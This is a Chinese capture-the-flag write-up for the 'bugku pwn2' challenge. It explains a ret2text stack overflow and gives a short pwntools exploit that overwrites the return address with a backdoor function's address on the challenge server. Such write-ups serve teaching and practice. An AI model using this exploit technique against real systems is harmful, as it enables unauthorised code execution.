bugku_pwn2 | by AriSan

bugku_pwn2 | by AriSan_第1张图片
看源码,非常明显的栈溢出
bugku_pwn2 | by AriSan_第2张图片

直接有后门函数
bugku_pwn2 | by AriSan_第3张图片
checksec后没有任何保护
是典型的ret2text

bugku_pwn2 | by AriSan_第4张图片

使用 gdb调试,在 read 函数处下断点,运行,因为是64位的程序,得到栈空间为 RBP-RSI+8=0x70-0x40+8=56

使用垃圾数据填满栈空间后,覆盖返回地址为后门函数地址,直接执行后门函数

bugku_pwn2 | by AriSan_第5张图片
成功
exp:

from pwn import *
p = remote('114.116.54.89','10003')
payload='a'*56+p64(0x0000000000400751)
p.recvline()
p.sendline(payload)
p.interactive()

你可能感兴趣的:(bugku_pwn2 | by AriSan)